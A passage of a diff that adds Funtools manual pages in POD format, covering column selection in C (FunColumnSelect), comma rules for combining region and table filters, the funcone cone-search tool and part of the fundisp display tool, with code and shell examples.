if( !FunColumnLookup(fun, "phas", 0, NULL NULL, NULL, NULL, &npha, NULL) )
gerror(stderr, "can't find phas column\n");
only returns information about the size of the phas vector.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,686 @@
=pod
=head1 NAME
B<FunColumnSelect - select Funtools columns>
=head1 SYNOPSIS
#include <funtools.h>
int FunColumnSelect(Fun fun, int size, char *plist,
char *name1, char *type1, char *mode1, int offset1,
char *name2, char *type2, char *mode2, int offset2,
...,
NULL)
int FunColumnSelectArr(Fun fun, int size, char *plist,
char **names, char **types, char **modes,
int *offsets, int nargs);
=head1 DESCRIPTION
The B<FunColumnSelect()> routine is used to select the columns
from a Funtools binary table extension or raw event file for
processing. This routine allows you to specify how columns in a file
are to be read into a user record structure or written from a user
record structure to an output FITS file.
The first argument is the Fun handle associated with this set of
columns. The second argument specifies the size of the user record
structure into which columns will be read. Typically, the sizeof()
macro is used to specify the size of a record structure. The third
argument allows you to specify keyword directives for the selection
and is described in more detail below.
Following the first three required arguments is a variable length list of
column specifications. Each column specification will consist of four
arguments:
=over 4
=item *
B<name>: the name of the column
=item *
B<type>: the data type of the column as it will be stored in
the user record struct (not the data type of the input file). The
following basic data types are recognized:
=over 4
=item *
A: ASCII characters
=item *
B: unsigned 8-bit char
=item *
I: signed 16-bit int
=item *
U: unsigned 16-bit int (not standard FITS)
=item *
J: signed 32-bit int
=item *
V: unsigned 32-bit int (not standard FITS)
=item *
E: 32-bit float
=item *
D: 64-bit float
=back
The syntax used is similar to that which defines the TFORM parameter
in FITS binary tables. That is, a numeric repeat value can precede
the type character, so that "10I" means a vector of 10 short ints, "E"
means a single precision float, etc. Note that the column value from
the input file will be converted to the specified data type as the
data is read by
FunTableRowGet().
[ A short digression regarding bit-fields: Special attention is
required when reading or writing the FITS bit-field type
("X"). Bit-fields almost always have a numeric repeat character
preceding the 'X' specification. Usually this value is a multiple of 8
so that bit-fields fit into an integral number of bytes. For all
cases, the byte size of the bit-field B is (N+7)/8, where N is the
numeric repeat character.
A bit-field is most easily declared in the user struct as an array of
type char of size B as defined above. In this case, bytes are simply
moved from the file to the user space. If, instead, a short or int
scalar or array is used, then the algorithm for reading the bit-field
into the user space depends on the size of the data type used along
with the value of the repeat character. That is, if the user data
size is equal to the byte size of the bit-field, then the data is
simply moved (possibly with endian-based byte-swapping) from one to
the other. If, on the other hand, the data storage is larger than the
bit-field size, then a data type cast conversion is performed to move
parts of the bit-field into elements of the array. Examples will help
make this clear:
=over 4
=item *
If the file contains a 16X bit-field and user space specifies a 2B
char array[2], then the bit-field is moved directly into the char array.
=item *
If the file contains a 16X bit-field and user space specifies a 1I
scalar short int, then the bit-field is moved directly into the short int.
=item *
If the file contains a 16X bit-field and user space specifies a 1J
scalar int, then the bit-field is type-cast to unsigned int before
being moved (use of unsigned avoids possible sign extension).
=item *
If the file contains a 16X bit-field and user space specifies a 2J
int array[2], then the bit-field is handled as 2 chars, each of which
are type-cast to unsigned int before being moved (use of unsigned
avoids possible sign extension).
=item *
If the file contains a 16X bit-field and user space specifies a 1B
char, then the bit-field is treated as a char, i.e., truncation will
occur.
=item *
If the file contains a 16X bit-field and user space specifies a 4J
int array[4], then the results are undetermined.
=back
For all user data types larger than char, the bit-field is byte-swapped
as necessary to convert to native format, so that bits in the
resulting data in user space can be tested, masked, etc. in the same
way regardless of platform.]
In addition to setting data type and size, the B<type>
specification allows a few ancillary parameters to be set, using the
full syntax for B<type>:
[@][n]<type>[[['B']poff]][:[tlmin[:tlmax[:binsiz]]]]
The special character "@" can be prepended to this specification to
indicated that the data element is a pointer in the user record,
rather than an array stored within the record.
The [n] value is an integer that specifies the
number of elements that are in this column (default is 1). TLMIN,
TLMAX, and BINSIZ values also can be specified for this column after
the type, separated by colons. If only one such number is specified,
it is assumed to be TLMAX, and TLMIN and BINSIZ are set to 1.
The [poff] value can be used to specify the offset into an
array. By default, this offset value is set to zero and the data
specified starts at the beginning of the array. The offset usually
is specified in terms of the data type of the column. Thus an offset
specification of [5] means a 20-byte offset if the data type is a
32-bit integer, and a 40-byte offset for a double. If you want to
specify a byte offset instead of an offset tied to the column data type,
precede the offset value with 'B', e.g. [B6] means a 6-bye offset,
regardless of the column data type.
The [poff] is especially useful in conjunction with the pointer @
specification, since it allows the data element to anywhere stored
anywhere in the allocated array. For example, a specification such as
"@I[2]" specifies the third (i.e., starting from 0) element in the
array pointed to by the pointer value. A value of "@2I[4]" specifies
the fifth and sixth values in the array. For example, consider the
following specification:
typedef struct EvStruct{
short x[4], *atp;
} *Event, EventRec;
/* set up the (hardwired) columns */
FunColumnSelect( fun, sizeof(EventRec), NULL,
"2i", "2I ", "w", FUN_OFFSET(Event, x),
"2i2", "2I[2]", "w", FUN_OFFSET(Event, x),
"at2p", "@2I", "w", FUN_OFFSET(Event, atp),
"at2p4", "@2I[4]", "w", FUN_OFFSET(Event, atp),
"atp9", "@I[9]", "w", FUN_OFFSET(Event, atp),
"atb20", "@I[B20]", "w", FUN_OFFSET(Event, atb),
NULL);
Here we have specified the following columns:
=over 4
=item *
2i: two short ints in an array which is stored as part the
record
=item *
2i2: the 3rd and 4th elements of an array which is stored
as part of the record
=item *
an array of at least 10 elements, not stored in the record but
allocated elsewhere, and used by three different columns:
=over 4
=item *
at2p: 2 short ints which are the first 2 elements of the allocated array
=item *
at2p4: 2 short ints which are the 5th and 6th elements of
the allocated array
=item *
atp9: a short int which is the 10th element of the allocated array
=back
=item *
atb20: a short int which is at byte offset 20 of another allocated array
=back
In this way, several columns can be specified, all of which are in a
single array. B<NB>: it is the programmer's responsibility to
ensure that specification of a positive value for poff does not point
past the end of valid data.
=item *
B<read/write mode>: "r" means that the column is read from an
input file into user space by
FunTableRowGet(), "w" means that
the column is written to an output file. Both can specified at the same
time.
=item *
B<offset>: the offset into the user data to store
this column. Typically, the macro FUN_OFFSET(recname, colname) is used
to define the offset into a record structure.
=back
When all column arguments have been specified, a final NULL argument
must added to signal the column selection list.
As an alternative to the varargs
FunColumnSelect()
routine, a non-varargs routine called
FunColumnSelectArr()
also is available. The first three arguments (fun, size, plist) of this
routine are the same as in
FunColumnSelect().
Instead of a variable
argument list, however,
FunColumnSelectArr()
takes 5 additional arguments. The first 4 arrays arguments contain the
names, types, modes, and offsets, respectively, of the columns being
selected. The final argument is the number of columns that are
contained in these arrays. It is the user's responsibility to free
string space allocated in these arrays.
Consider the following example:
typedef struct evstruct{
int status;
float pi, pha, *phas;
double energy;
} *Ev, EvRec;
FunColumnSelect(fun, sizeof(EvRec), NULL,
"status", "J", "r", FUN_OFFSET(Ev, status),
"pi", "E", "r", FUN_OFFSET(Ev, pi),
"pha", "E", "r", FUN_OFFSET(Ev, pha),
"phas", "@9E", "r", FUN_OFFSET(Ev, phas),
NULL);
Each time a row is read into the Ev struct, the "status" column is
converted to an int data type (regardless of its data type in the
file) and stored in the status value of the struct. Similarly, "pi"
and "pha", and the phas vector are all stored as floats. Note that the
"@" sign indicates that the "phas" vector is a pointer to a 9 element
array, rather than an array allocated in the struct itself. The row
record can then be processed as required:
/* get rows -- let routine allocate the row array */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
ev->pi = (ev->pi+.5);
ev->pha = (ev->pi-.5);
}
FunColumnSelect()
can also be called to define "writable" columns in order to generate a FITS
Binary Table, without reference to any input columns. For
example, the following will generate a 4-column FITS binary table when
FunTableRowPut() is used to
write Ev records:
typedef struct evstruct{
int status;
float pi, pha
double energy;
} *Ev, EvRec;
FunColumnSelect(fun, sizeof(EvRec), NULL,
"status", "J", "w", FUN_OFFSET(Ev, status),
"pi", "E", "w", FUN_OFFSET(Ev, pi),
"pha", "E", "w", FUN_OFFSET(Ev, pha),
"energy", "D", "w", FUN_OFFSET(Ev, energy),
NULL);
All columns are declared to be write-only, so presumably the column
data is being generated or read from some other source.
In addition,
FunColumnSelect()
can be called to define B<both> "readable" and "writable" columns.
In this case, the "read" columns
are associated with an input file, while the "write" columns are
associated with the output file. Of course, columns can be specified as both
"readable" and "writable", in which case they are read from input
and (possibly modified data values are) written to the output.
The
FunColumnSelect()
call itself is made by passing the input Funtools handle, and it is
assumed that the output file has been opened using this input handle
as its
Funtools reference handle.
Consider the following example:
typedef struct evstruct{
int status;
float pi, pha, *phas;
double energy;
} *Ev, EvRec;
FunColumnSelect(fun, sizeof(EvRec), NULL,
"status", "J", "r", FUN_OFFSET(Ev, status),
"pi", "E", "rw", FUN_OFFSET(Ev, pi),
"pha", "E", "rw", FUN_OFFSET(Ev, pha),
"phas", "@9E", "rw", FUN_OFFSET(Ev, phas),
"energy", "D", "w", FUN_OFFSET(Ev, energy),
NULL);
As in the "read" example above, each time an row is read into the Ev
struct, the "status" column is converted to an int data type
(regardless of its data type in the file) and stored in the status
value of the struct. Similarly, "pi" and "pha", and the phas vector
are all stored as floats. Since the "pi", "pha", and "phas" variables
are declared as "writable" as well as "readable", they also will be
written to the output file. Note, however, that the "status" variable
is declared as "readable" only, and hence it will not be written to
an output file. Finally, the "energy" column is declared as
"writable" only, meaning it will not be read from the input file. In
this case, it can be assumed that "energy" will be calculated in the
program before being output along with the other values.
In these simple cases, only the columns specified as "writable" will
be output using
FunTableRowPut(). However,
it often is the case that you want to merge the user columns back in
with the input columns, even in cases where not all of the input
column names are explicitly read or even known. For this important
case, the B<merge=[type]> keyword is provided in the plist string.
The B<merge=[type]> keyword tells Funtools to merge the columns from
the input file with user columns on output. It is normally used when
an input and output file are opened and the input file provides the
Funtools reference handle
for the output file. In this case, each time
FunTableRowGet() is called, the
raw input rows are saved in a special buffer. If
FunTableRowPut() then is called
(before another call to
FunTableRowGet()), the contents
of the raw input rows are merged with the user rows according to the
value of B<type> as follows:
=over 4
=item *
B<update>: add new user columns, and update value of existing ones (maintaining the input data type)
=item *
B<replace>: add new user columns, and replace the data type
and value of existing ones. (Note that if tlmin/tlmax values are not
specified in the replacing column, but are specified in the original
column being replaced, then the original tlmin/tlmax values are used
in the replacing column.)
=item *
B<append>: only add new columns, do not "replace" or "update" existing ones
=back
Consider the example above. If B<merge=update> is specified in the
plist string, then "energy" will be added to the input columns, and
the values of "pi", "pha", and "phas" will be taken from the user
space (i.e., the values will be updated from the original values, if
they were changed by the program). The data type for "pi", "pha", and
"phas" will be the same as in the original file. If
B<merge=replace> is specified, both the data type and value of
these three input columns will be changed to the data type and value
in the user structure. If B<merge=append> is specified, none of
these three columns will be updated, and only the "energy" column will
be added. Note that in all cases, "status" will be written from the
input data, not from the user record, since it was specified as read-only.
Standard applications will call
FunColumnSelect()
to define user columns. However, if this routine is not called, the
default behavior is to transfer all input columns into user space. For
this purpose a default record structure is defined such that each data
element is properly aligned on a valid data type boundary. This
mechanism is used by programs such as fundisp and funtable to process
columns without needing to know the specific names of those columns.
It is not anticipated that users will need such capabilities (contact
us if you do!)
By default, FunColumnSelect()
reads/writes rows to/from an "array of structs", where each struct contains
the column values for a single row of the table. This means that the
returned values for a given column are not contiguous. You can
set up the IO to return a "struct of arrays" so that each of the
returned columns are contiguous by specifying B<org=structofarrays>
(abbreviation: B<org=soa>) in the plist.
(The default case is B<org=arrayofstructs> or B<org=aos>.)
For example, the default setup to retrieve rows from a table would be
to define a record structure for a single event and then call
FunColumnSelect()
as follows:
typedef struct evstruct{
short region;
double x, y;
int pi, pha;
double time;
} *Ev, EvRec;
got = FunColumnSelect(fun, sizeof(EvRec), NULL,
"x", "D:10:10", mode, FUN_OFFSET(Ev, x),
"y", "D:10:10", mode, FUN_OFFSET(Ev, y),
"pi", "J", mode, FUN_OFFSET(Ev, pi),
"pha", "J", mode, FUN_OFFSET(Ev, pha),
"time", "1D", mode, FUN_OFFSET(Ev, time),
NULL);
Subsequently, each call to
FunTableRowGet()
will return an array of structs, one for each returned row. If instead you
wanted to read columns into contiguous arrays, you specify B<org=soa>:
typedef struct aevstruct{
short region[MAXROW];
double x[MAXROW], y[MAXROW];
int pi[MAXROW], pha[MAXROW];
double time[MAXROW];
} *AEv, AEvRec;
got = FunColumnSelect(fun, sizeof(AEvRec), "org=soa",
"x", "D:10:10", mode, FUN_OFFSET(AEv, x),
"y", "D:10:10", mode, FUN_OFFSET(AEv, y),
"pi", "J", mode, FUN_OFFSET(AEv, pi),
"pha", "J", mode, FUN_OFFSET(AEv, pha),
"time", "1D", mode, FUN_OFFSET(AEv, time),
NULL);
Note that the only modification to the call is in the plist string.
Of course, instead of using staticly allocated arrays, you also can specify
dynamically allocated pointers:
/* pointers to arrays of columns (used in struct of arrays) */
typedef struct pevstruct{
short *region;
double *x, *y;
int *pi, *pha;
double *time;
} *PEv, PEvRec;
got = FunColumnSelect(fun, sizeof(PEvRec), "org=structofarrays",
"$region", "@I", mode, FUN_OFFSET(PEv, region),
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
"time", "@1D", mode, FUN_OFFSET(PEv, time),
NULL);
Here, the actual storage space is either allocated by the user or by the
FunColumnSelect() call).
In all of the above cases, the same call is made to retrieve rows, e.g.:
buf = (void *)FunTableRowGet(fun, NULL, MAXROW, NULL, &got);
However, the individual data elements are accessed differently.
For the default case of an "array of structs", the
individual row records are accessed using:
for(i=0; i<got; i++){
ev = (Ev)buf+i;
fprintf(stdout, "%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
ev->x, ev->y, ev->pi, ev->pha, ev->dx, ev->dy, ev->time);
}
For a struct of arrays or a struct of array pointers, we have a single struct
through which we access individual columns and rows using:
aev = (AEv)buf;
for(i=0; i<got; i++){
fprintf(stdout, "%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
aev->x[i], aev->y[i], aev->pi[i], aev->pha[i],
aev->dx[i], aev->dy[i], aev->time[i]);
}
Support for struct of arrays in the
FunTableRowPut()
call is handled analogously.
See the evread example code
and
evmerge example code
for working examples of how
FunColumnSelect() is used.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,157 @@
=pod
=head1 NAME
B<FunCombine: Combining Region and Table Filters>
=head1 SYNOPSIS
This document discusses the conventions for combining region and table
filters, especially with regards to the comma operator.
=head1 DESCRIPTION
B<Comma Conventions>
Filter specifications consist of a series of boolean expressions,
separated by commas. These expressions can be table filters,
spatial region filters, or combinations thereof. Unfortunately,
common usage requires that the comma operator must act differently
in different situations. Therefore, while its use is intuitive in
most cases, commas can be a source of confusion.
According to long-standing usage in IRAF, when a comma separates two
table filters, it takes on the meaning of a boolean B<and>. Thus:
foo.fits[pha==1,pi==2]
is equivalent to:
foo.fits[pha==1 && pi==2]
When a comma separates two spatial region filters, however, it has
traditionally taken on the meaning of a boolean B<or>. Thus:
foo.fits[circle(10,10,3),ellipse(20,20,8,5)]
is equivalent to:
foo.fits[circle(10,10,3) || ellipse(20,20,8,5)]
(except that in the former case, each region is given a unique id
in programs such as funcnts).
Region and table filters can be combined:
foo.fits[circle(10,10,3),pi=1:5]
or even:
foo.fits[pha==1&&circle(10,10,3),pi==2&&ellipse(20,20,8,5)]
In these cases, it is not obvious whether the command should utilize an
B<or> or B<and> operator. We therefore arbitrarily chose to
implement the following rule:
=over 4
=item *
if both expressions contain a region, the operator used is B<or>.
=item *
if one (or both) expression(s) does not contain a region, the operator
used is B<and>.
=back
This rule handles the cases of pure regions and pure column filters properly.
It unambiguously assigns the boolean B<and> to all mixed cases. Thus:
foo.fits[circle(10,10,3),pi=1:5]
and
foo.fits[pi=1:5,circle(10,10,3)]
both are equivalent to:
foo.fits[circle(10,10,3) && pi=1:5]
[NB: This arbitrary rule B<replaces the previous arbitrary rule>
(pre-funtools 1.2.3) which stated:
=over 4
=item *
if the 2nd expression contains a region, the operator used is B<or>.
=item *
if the 2nd expression does not contain a region, the operator
used is B<and>.
=back
In that scenario, the B<or> operator was implied by:
pha==4,circle 5 5 1
while the B<and> operator was implied by
circle 5 5 1,pha==4
Experience showed that this non-commutative treatment of the comma
operator was confusing and led to unexpected results.]
The comma rule must be considered provisional: comments and complaints
are welcome to help clarify the matter. Better still, we recommend
that the comma operator be avoided in such cases in favor of an
explicit boolean operator.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,191 @@
=pod
=head1 NAME
B<funcone - cone search of a binary table containing RA, Dec columns>
=head1 SYNOPSIS
funcone <switches> <iname> <oname> <ra[hdr]> <dec[hdr]> <radius[dr'"]> [columns]
=head1 OPTIONS
-d deccol:[hdr] # Dec column name, units (def: DEC:d)
-j # join columns from list file
-J # join columns from list file, output all rows
-l listfile # read centers and radii from a list
-L listfile # read centers and radii from a list, output list rows
-n # don't use cone limits as a filter
-r racol:[hdr] # RA column name, units (def: RA:h)
-x # append RA_CEN, DEC_CEN, RAD_CEN, CONE_KEY cols
-X # append RA_CEN, DEC_CEN, RAD_CEN, CONE_KEY cols, output all rows
=head1 DESCRIPTION
Funcone performs a cone search on the RA and Dec columns of a FITS
binary table. The distance from the center RA, Dec position to the RA,
Dec in each row in the table is calculated. Rows whose distance is
less than the specified radius are output.
The first argument to the program specifies the FITS file, raw event
file, or raw array file. If "stdin" is specified, data are read from
the standard input. Use Funtools Bracket
Notation to specify FITS extensions, and filters. The second
argument is the output FITS file. If "stdout" is specified, the FITS
binary table is written to the standard output.
The third and fourth required arguments are the RA and Dec center
position. By default, RA is specified in hours while Dec is specified
in degrees. You can change the units of either of these by appending
the character "d" (degrees), "h" (hours) or "r" (radians). Sexagesimal
notation is supported, with colons or spaces separating hms and dms.
(When using spaces, please ensure that the entire string is quoted.)
The fifth required argument is the radius of the cone search. By default,
the radius value is given in degrees. The units can be changed by appending
the character "d" (degrees), "r" (radians), "'" (arc minutes) or
'"' (arc seconds).
By default, all
columns of the input file are copied to the output file. Selected
columns can be output using an optional sixth argument in the form:
"column1 column1 ... columnN"
A seventh argument allows you to output selected columns from the list
file when B<-j> switch is used. Note that the RA and Dec columns
used in the cone calculation must not be de-selected.
Also by default, the RA and Dec column names are named "RA" and "Dec",
and are given in units of hours and degrees respectively. You can
change both the name and the units using the -r [RA] and/or -d [Dec]
switches. Once again, one of "h", "d", or "r" is appended to the
column name to specify units but in this case, there must be a colon ":"
between the name and the unit specification.
If the B<-l [listfile]> switch is used, then one or more of the
center RA, center Dec, and radius can be taken from a list file (which
can be a FITS table or an ASCII column text file). In this case, the
third (center RA), fourth (center Dec), and fifth (radius) command
line arguments can either be a column name in the list file (if that
parameter varies) or else a numeric value (if that parameter is
static). When a column name is specified for the RA, Dec, or radius,
you can append a colon followed by "h", "d", or "r" to specify units
(also ' and " for radius). The cone search algorithm is run once for
each row in the list, taking RA, Dec, and radius values from the
specified columns or from static numeric values specified on the
command line.
When using a list, all valid rows from each iteration are written to a
single output file. Use the B<-x> switch to help delineate which
line of the list file was used to produce the given output row(s).
This switch causes the values for the center RA, Dec, radius, and row
number to be appended to the output file, in columns called RA_CEN,
DEC_CEN, RAD_CEN and CONE_KEY, respectively. Alternatively, the
B<-j> (join) switch will append all columns from the list row to
the output row (essentially a join of the list row and input row),
along with the CONE_KEY row number. These two switches are mutually
exclusive.
The B<-X> and B<-J> switches write out the same data as their
lower case counterparts for each row satisfying a cone search. In
addition, these switches also write out rows from the event file that
do not satisfy any cone search. In such cases, that CONE_KEY column
will be given a value of -1 and the center and list position information
will be set to zero for the given row. Thus, all rows of the input
event file are guaranteed to be output, with rows satisfying at least
one cone search having additional search information.
The B<-L> switch acts similarly to the B<-l> switch in that it
takes centers from a list file. However, it also implicitly sets the
-j switch, so that output rows are the join of the input event row and
the center position row. In addition, this switch also writes out all
center position rows for which no event satisfies the cone search
criteria of that row. The CONE_KEY column will be given a value of -2
for center rows that were not close to any data row and the event
columns will be zeroed out for such rows. In this way, all centers
rows are guaranteed to be output at least once.
If any of "all row" switches (B<-X>, B<-J>, or B<-L>) are
specified, then a new column named JSTAT is added to the output table.
The positive values in this column indicate the center position row number
(starting from 1) in the list file that this data row successful matched
in a cone search. A value of -1 means that the data row did not match
any center position. A value of -2 means that the center position was
not matched by any data row.
Given a center position and radius, the cone search algorithm
calculates limit parameters for a box enclosing the specified cone,
and only tests rows whose positions values lie within those limits.
For small files, the overhead associated with this cone limit
filtering can cause the program to run more slowly than if all events
were tested. You can turn off cone limit filtering using the B<-n>
switch to see if this speeds up the processing (especially useful when
processing a large list of positions).
For example, the default cone search uses columns "RA" and "Dec" in hours
and degrees (respectively) and RA position in hours, Dec and radius in degrees:
funone in.fits out.fits 23.45 34.56 0.01
To specify the RA position in degrees:
funcone in.fits out.fits 23.45d 34.56 0.01
To get RA and Dec from a list but use a static value for radius (and
also write identifying info for each row in the list):
funcone -x -l list.txt in.fits out.fits MYRA MYDec 0.01
User specified columns in degrees, RA position in hours (sexagesimal
notation), Dec position in degrees (sexagesimal notation) and radius
in arc minutes:
funcone -r myRa:d -d myDec in.fits out.fits 12:30:15.5 30:12 15'
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,484 @@
=pod
=head1 NAME
B<fundisp - display data in a Funtools data file>
=head1 SYNOPSIS
fundisp [-f format] [-l] [-n] [-T] <iname> [columns|bitpix=n]
=head1 OPTIONS
-f # format string for display
-l # display image as a list containing the columns X, Y, VAL
-n # don't output header
-F [c] # use specified character as column separator (def: space)
-T # output in rdb/starbase format (tab separators)
=head1 DESCRIPTION
B<fundisp> displays the data in the specified
FITS Extension
and/or
Image Section
of a FITS file, or in a
Section
of a non-FITS array or raw event file.
The first argument to the program specifies the FITS input image, array, or
raw event file to display. If "stdin" is specified, data are read from
the standard input. Use Funtools Bracket
Notation to specify FITS extensions, image sections, and filters.
If the data being displayed are columns (either in a FITS binary table
or a raw event file), the individual rows are listed. Filters can be
added using bracket notation. Thus:
[sh] fundisp "test.ev[time-(int)time>.15]"
X Y PHA PI TIME DX DY
------- ------- ------- --------- ---------------- ---------- ----------
10 8 10 8 17.1600 8.50 10.50
9 9 9 9 17.1600 9.50 9.50
10 9 10 9 18.1600 9.50 10.50
10 9 10 9 18.1700 9.50 10.50
8 10 8 10 17.1600 10.50 8.50
9 10 9 10 18.1600 10.50 9.50
9 10 9 10 18.1700 10.50 9.50
10 10 10 10 19.1600 10.50 10.50
10 10 10 10 19.1700 10.50 10.50
10 10 10 10 19.1800 10.50 10.50
[NB: The FITS binary table test file test.ev, as well as the FITS
image test.fits, are contained in the funtools funtest directory.]
When a table is being displayed using B<fundisp>, a second optional
argument can be used to specify the columns to display. For example:
[sh] fundisp "test.ev[time-(int)time>=.99]" "x y time"
X Y TIME
-------- -------- ---------------------
5 -6 40.99000000
4 -5 59.99000000
-1 0 154.99000000
-2 1 168.99000000
-3 2 183.99000000
-4 3 199.99000000
-5 4 216.99000000
-6 5 234.99000000
-7 6 253.99000000
The special column B<$REGION> can be specified to display the
region id of each row:
[sh $] fundisp "test.ev[time-(int)time>=.99&&annulus(0 0 0 10 n=3)]" 'x y time $REGION'
X Y TIME REGION
-------- -------- --------------------- ----------
5 -6 40.99000000 3
4 -5 59.99000000 2
-1 0 154.99000000 1
-2 1 168.99000000 1
-3 2 183.99000000 2
-4 3 199.99000000 2
-5 4 216.99000000 2
-6 5 234.99000000 3
-7 6 253.99000000 3
Here only rows with the proper fractional time and whose position also is
within one of the three annuli are displayed.
Columns can be excluded from display using a minus sign before the
column:
[sh $] fundisp "test.ev[time-(int)time>=.99]" "-time"
X Y PHA PI DX DY
-------- -------- -------- ---------- ----------- -----------
5 -6 5 -6 5.50 -6.50
4 -5 4 -5 4.50 -5.50
-1 0 -1 0 -1.50 0.50
-2 1 -2 1 -2.50 1.50
-3 2 -3 2 -3.50 2.50
-4 3 -4 3 -4.50 3.50
-5 4 -5 4 -5.50 4.50
-6 5 -6 5 -6.50 5.50
-7 6 -7 6 -7.50 6.50
All columns except the time column are displayed.
The special column B<$N> can be specified to display the
ordinal value of each row. Thus, continuing the previous example:
fundisp "test.ev[time-(int)time>=.99]" '-time $n'
X Y PHA PI DX DY N
------- -------- -------- ---------- ----------- ----------- ----------
5 -6 5 -6 5.50 -6.50 337
4 -5 4 -5 4.50 -5.50 356
-1 0 -1 0 -1.50 0.50 451
-2 1 -2 1 -2.50 1.50 465
-3 2 -3 2 -3.50 2.50 480
-4 3 -4 3 -4.50 3.50 496
-5 4 -5 4 -5.50 4.50 513
-6 5 -6 5 -6.50 5.50 531
-7 6 -7 6 -7.50 6.50 550
Note that the column specification is enclosed in single quotes to protect
'$n' from begin expanded by the shell.
In general, the rules for activating and de-activating columns are:
=over 4
=item *
If only exclude columns are specified, then all columns but
the exclude columns will be activated.
=item *
If only include columns are specified, then only the specified columns
are activated.
=item *
If a mixture of include and exclude columns are specified, then
all but the exclude columns will be active; this last case
is ambiguous and the rule is arbitrary.
=back
In addition to specifying columns names explicitly, the special
symbols B<+> and B<-> can be used to activate and
de-activate B<all> columns. This is useful if you want to
activate the $REGION column along with all other columns. According
to the rules, the syntax "$REGION" only activates the region column
and de-activates the rest. Use "+ $REGION" to activate all
columns as well as the region column.
If the data being displayed are image data (either in a FITS primary
image, a FITS image extension, or an array file), an mxn pixel display
is produced, where m and n are the dimensions of the image. By
default, pixel values are displayed using the same data type as in the
file. However, for integer data where the BSCALE and BZERO header parameters
are present, the data is displayed as floats. In either case, the
display data type can be overridden using an optional second argument
of the form:
bitpix=n
where n is 8,16,32,-32,-64, for unsigned char, short, int, float and double,
respectively.
Of course, running B<fundisp> on anything but the smallest image
usually results in a display whose size makes it unreadable.
Therefore, one can uses bracket notation (see below)
to apply section and/or blocking to the image before generating a
display. For example:
[sh] fundisp "test.fits[2:6,2:7]" bitpix=-32
2 3 4 5 6
---------- ---------- ---------- ---------- ----------
2: 3.00 4.00 5.00 6.00 7.00
3: 4.00 5.00 6.00 7.00 8.00
4: 5.00 6.00 7.00 8.00 9.00
5: 6.00 7.00 8.00 9.00 10.00
6: 7.00 8.00 9.00 10.00 11.00
7: 8.00 9.00 10.00 11.00 12.00
Note that is is possible to display a FITS binary table as an image
simply by passing the table through B<funimage> first:
[sh] ./funimage test.ev stdout | fundisp "stdin[2:6,2:7]" bitpix=8
2 3 4 5 6
------- ------- ------- ------- -------
2: 3 4 5 6 7
3: 4 5 6 7 8
4: 5 6 7 8 9
5: 6 7 8 9 10
6: 7 8 9 10 11
7: 8 9 10 11 12
If the B<-l> (list) switch is used, then an image is displayed as a
list containing the columns: X, Y, VAL. For example:
fundisp -l "test1.fits[2:6,2:7]" bitpix=-32
X Y VAL
---------- ---------- -----------
2 2 6.00
3 2 1.00
4 2 1.00
5 2 1.00
6 2 1.00
2 3 1.00
3 3 5.00
4 3 1.00
5 3 1.00
6 3 1.00
2 4 1.00
3 4 1.00
4 4 4.00
5 4 1.00
6 4 1.00
2 5 1.00
3 5 1.00
4 5 1.00
5 5 3.00
6 5 1.00
2 6 1.00
3 6 1.00
4 6 1.00
5 6 1.00
6 6 2.00
2 7 1.00
3 7 1.00
4 7 1.00
5 7 1.00
6 7 1.00
If the B<-n> (nohead) switch is used, then no header is output for
tables. This is useful, for example, when fundisp output is being
directed into gnuplot.
The B<fundisp> program uses a default set of display formats:
datatype TFORM format
-------- ----- --------
double D "%21.8f"
float E "%11.2f"
int J "%10d"
short I "%8d"
byte B "%6d"
string A "%12.12s"
bits X "%8x"
logical L "%1x"
Thus, the default display of 1 double and 2 shorts gives:
[sh] fundisp snr.ev "time x y"
TIME X Y
--------------------- -------- --------
79494546.56818075 546 201
79488769.94469175 548 201
...
You can change the display format for individual columns or for all
columns of a given data types by means of the -f switch. The format
string that accompanies -f is a space-delimited list of keyword=format
values. The keyword values can either be column names (in which case
the associated format pertains only to that column) or FITS table
TFORM specifiers (in which case the format pertains to all columns
having that data type). For example, you can change the double and
short formats for all columns like this:
[sh] fundisp -f "D=%22.11f I=%3d" snr.ev "time x y"
TIME X Y
---------------------- --- ---
79494546.56818075478 546 201
79488769.94469174743 548 201
...
Alternatively, you can change the format of the time and x columns like this:
[sh] fundisp -f "time=%22.11f x=%3d" snr.ev "time x y"
TIME X Y
---------------------- --- --------
79494546.56818075478 546 201
79488769.94469174743 548 201
...
Note that there is a potential conflict if a column has the same name
as one of the TFORM specifiers. In the examples above, the the "X"
column in the table has the same name as the X (bit) datatype. To
resolve this conflict, the format string is processed such that
TFORM datatype specifiers are checked for first, using a
case-sensitive comparison. If the specified format value is not an
upper case TFORM value, then a case-insensitive check is made on the
column name. This means that, in the examples above, "X=%3d" will refer
to the X (bit) datatype, while "x=%3d" will refer to the X column:
[sh] fundisp -f "X=%3d" snr.ev "x y"
X Y
-------- --------
546 201
548 201
...
[sh] fundisp -f "x=%3d" snr.ev "x y"
X Y
--- --------
546 201
548 201
...
As a rule, therefore, it is best always to specify the column name in
lower case and TFORM data types in upper case.
The B<-f [format]> will change the format for a single execution
of fundisp. You also can use the B<FUN_FORMAT> envronment variable
to change the format for all invocations of fundisp. The format of this
environment variable's value is identical to that used with
the B<-f> switch. This global value can be overridden in
individual cases by use of the B<-f [format]> switch.
Caveats: Please also note that it is the user's responsibility to
match the format specifier to the column data type correctly. Also
note that, in order to maintain visual alignment between names and
columns, the column name will be truncated (on the left) if the
format width is less than the length of the name. However, truncation
is not performed if the output is in RDB format (using the -T switch).
[An older-style format string is supported but deprecated. It
consists of space-delimited C format statements for all data types,
specified in the following order:
double float int short byte string bit.
This order of the list is based on the assumption that people generally
will want to change the float formats.
If "-" is entered instead of a format statement for a given data type, the
